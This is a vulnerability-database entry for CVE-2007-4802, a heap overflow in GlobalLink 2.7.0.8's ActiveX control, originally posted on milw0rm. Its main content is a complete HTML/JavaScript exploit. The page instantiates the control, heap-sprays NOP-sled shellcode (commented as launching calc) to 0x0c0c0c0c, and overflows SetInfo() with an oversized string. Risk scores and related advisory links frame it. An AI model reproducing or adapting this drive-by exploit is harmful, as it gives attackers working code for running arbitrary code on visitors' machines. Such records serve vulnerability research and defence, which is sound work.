GlobalLink 2.7.0.8 - 'glItemCom.dll SetInfo()' Heap Overflow
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2007-4802 | 11 Sep 200718:00 | – | cve |
 | CVE-2007-4802 | 11 Sep 200718:00 | – | cvelist |
 | GlobalLink 2.7.0.8 - 'glitemflat.dll SetClientInfo()' Heap Overflow | 7 Sep 200700:00 | – | exploitdb |
 | CVE-2007-4802 | 11 Sep 200718:17 | – | nvd |
 | Heap overflow | 11 Sep 200718:17 | – | prion |
<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv=\"refresh\" content=\"1, " + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);
var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\x0c\x0c\x0c\x0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>
# milw0rm.com [2007-09-05]Data
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05 Sep 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.08964